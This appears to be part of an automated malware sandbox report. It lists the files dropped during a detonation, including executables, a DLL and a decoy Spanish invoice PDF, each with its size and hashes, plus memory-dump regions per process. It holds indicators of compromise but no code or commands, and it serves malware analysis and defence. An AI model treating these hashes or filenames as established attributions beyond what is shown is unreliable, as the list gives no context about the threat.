C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ox1pus0u.mak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\b667dc5d

Filesize
1.0MB

MD5
5263425ab7464be44cbc75aeadbef575

SHA1
2255835667f2d8a7118dc42973716614bd914f5d

SHA256
9b5818a6a24a7e6d2e07ea2dcb0f9105ef0fe052e1bac5154ef271ace02517dc

SHA512
0a4c7d28bbcb2d3dcffa4affdf404b6027d0af341cd79f8ff44809f055abb9181b8b7e6bd8905a0d7abdd56992cf6ef3a6450662bd496fb410b06ee4542020c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\hv.exe

Filesize
8.7MB

MD5
480f8cf600f5509595b8418c6534caf2

SHA1
dc13258ebb83bdf956523d751f67e29d6e4cf77e

SHA256
6d8905ec0b1dfdc0a10d1cce40714ddd73205a09ad390b933ddbecdcf06a4cf2

SHA512
f0bd99f68d59e80538fb276945d0f383394cb94a35c6d12ebd3e87061222249f78b9ca75716b33e36b66842b97c71149612111fcb6a8a3bc3a97635b03934aaf

Download Submit
C:\Users\Admin\AppData\Local\Temp\iepdf32.dll

Filesize
4.3MB

MD5
e9b41ec70a5469ec4f69d38ac057813b

SHA1
0f1930f59c2988594b000e48c435cb2e5b020551

SHA256
5a73799795989e0cc20aeffbf25122b096312a5ebf0fd2b9cfcb1f917df66747

SHA512
fd74a2b67a78ca48d17393b10b852b188f983d2b5769518134a5cc53715b0c523a9996a2d825a828bd7c4dc01204c0a398e0e930c7498020b5ca68963086b4f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\merle.xml

Filesize
898KB

MD5
3f6d099d929e9feca1f3baa3e15fe811

SHA1
955cbf127f178d391a0e59aca76e5a08b9864f0a

SHA256
92c7bcb79bcfb814ea65b7beae2481b6c94c8e87dcab3ac28e61b74c52a3a426

SHA512
aab61ab420bbd9e4c9ad961082bdf823a3f81a4a4386451067124162e81cea5936fb938a52b45b220c26bfb9ff65fb46a91baacc590fbd6f01005a009c75978a

Download Submit
C:\Users\Admin\AppData\Local\Temp\salesperson.sql

Filesize
72KB

MD5
8ea9d3c77dd015943e63fdcb602dd35e

SHA1
e5802c116823c07219894b6e40518afe6d4c02ab

SHA256
1172c574e4eed37d89594034eca14179da90ba20232d561f650b74f4548dd246

SHA512
fc509c3647cee381771de99b629176d38cff6cfb47ba2e6332a68a3b90b89eeb5b43f168b1b9304b0b60123594927dbfb77206bed0f8b9e00ad36c2d28784bd0

Download Submit
C:\Users\Admin\AppData\Roaming\Factura Pro-forma - S08369.pdf

Filesize
100KB

MD5
66da887500b1a6ce357adfafb8a10d07

SHA1
a5b5b0691144e3390748560d202085bcbb1c3cf6

SHA256
1852d6b8481c9a156f325fe7e283aa2127a4c75a3b1a22cd5754d700388481ff

SHA512
2f67f7b8ae6f337b03f0fb9aa2fa8b2c7e9e40e6a73934937eddfabfedfd9bc687f8fedd86e55dfb35848e610ba04840e9e628e053534fa1402b4e457d8936a1

Download Submit
C:\Users\Admin\AppData\Roaming\MJDSWXBP.exe

Filesize
5.6MB

MD5
499cea41f461a8b85fa9d93bb6adf88c

SHA1
33f9046e77e7ebf83da64c490cb2bca9c77b5f78

SHA256
c76e6d4eac4f1475d327fd799f12c2324d3aa866ee8a72d0b4b6d4c3a3e3668e

SHA512
eb037e04b5a5df46fa790fe1784a6a2a04809148085db676b5ab2d74c23c9fc08fadad71c542b7fa7713fb910c280dbf9ee11c5053be6e622280622afe29a75f

Download Submit
memory/2060-19-0x0000000006530000-0x000000000657C000-memory.dmp

Filesize
304KB

Download
memory/2060-3-0x0000000005670000-0x0000000005C98000-memory.dmp

Filesize
6.2MB

Download
memory/2060-21-0x0000000006A40000-0x0000000006A5A000-memory.dmp

Filesize
104KB

Download
memory/2060-22-0x00000000077D0000-0x0000000007866000-memory.dmp

Filesize
600KB

Download
memory/2060-23-0x00000000076E0000-0x0000000007702000-memory.dmp

Filesize
136KB

Download
memory/2060-24-0x00000000084D0000-0x0000000008A74000-memory.dmp

Filesize
5.6MB

Download
memory/2060-0-0x000000007108E000-0x000000007108F000-memory.dmp

Filesize
4KB

Download
memory/2060-34-0x000000007108E000-0x000000007108F000-memory.dmp

Filesize
4KB

Download
memory/2060-35-0x0000000071080000-0x0000000071830000-memory.dmp

Filesize
7.7MB

Download
memory/2060-56-0x0000000071080000-0x0000000071830000-memory.dmp

Filesize
7.7MB

Download
memory/2060-18-0x00000000064F0000-0x000000000650E000-memory.dmp

Filesize
120KB

Download
memory/2060-17-0x0000000006110000-0x0000000006464000-memory.dmp

Filesize
3.3MB

Download
memory/2060-5-0x0000000005620000-0x0000000005642000-memory.dmp

Filesize
136KB

Download
memory/2060-12-0x0000000005EB0000-0x0000000005F16000-memory.dmp

Filesize
408KB

Download
memory/2060-172-0x0000000071080000-0x0000000071830000-memory.dmp

Filesize
7.7MB

Download
memory/2060-11-0x0000000005D90000-0x0000000005DF6000-memory.dmp

Filesize
408KB

Download
memory/2060-4-0x0000000071080000-0x0000000071830000-memory.dmp

Filesize
7.7MB

Download
memory/2060-20-0x0000000007E50000-0x00000000084CA000-memory.dmp

Filesize
6.5MB

Download
memory/2060-2-0x0000000071080000-0x0000000071830000-memory.dmp

Filesize
7.7MB

Download
memory/2060-1-0x0000000002F40000-0x0000000002F76000-memory.dmp

Filesize
216KB

Download
memory/4544-206-0x0000000074D80000-0x0000000074EFB000-memory.dmp

Filesize
1.5MB

Download
memory/4544-208-0x0000000000010000-0x00000000008E6000-memory.dmp

Filesize
8.8MB

Download
memory/4544-204-0x0000000074D80000-0x0000000074EFB000-memory.dmp

Filesize
1.5MB

Download
memory/4544-205-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

Filesize
2.0MB

Download
memory/4760-213-0x0000000074D80000-0x0000000074EFB000-memory.dmp

Filesize
1.5MB

Download
memory/4760-210-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

Filesize
2.0MB

Download
memory/4760-211-0x0000000074D80000-0x0000000074EFB000-memory.dmp

Filesize
1.5MB

Download
memory/4828-199-0x00000000008B0000-0x0000000001186000-memory.dmp

Filesize
8.8MB

Download
memory/4828-190-0x0000000074910000-0x0000000074A8B000-memory.dmp

Filesize
1.5MB

Download
memory/4828-191-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

Filesize
2.0MB

Download
memory/5040-215-0x00007FFF95D70000-0x00007FFF95F65000-memory.dmp

Filesize
2.0MB

Download
memory/5040-216-0x0000000000C80000-0x0000000000CDA000-memory.dmp

Filesize
360KB

Download
memory/5040-217-0x0000000000C80000-0x0000000000CDA000-memory.dmp

Filesize
360KB

Download
memory/5040-218-0x0000000000C80000-0x0000000000CDA000-memory.dmp

Filesize
360KB

Download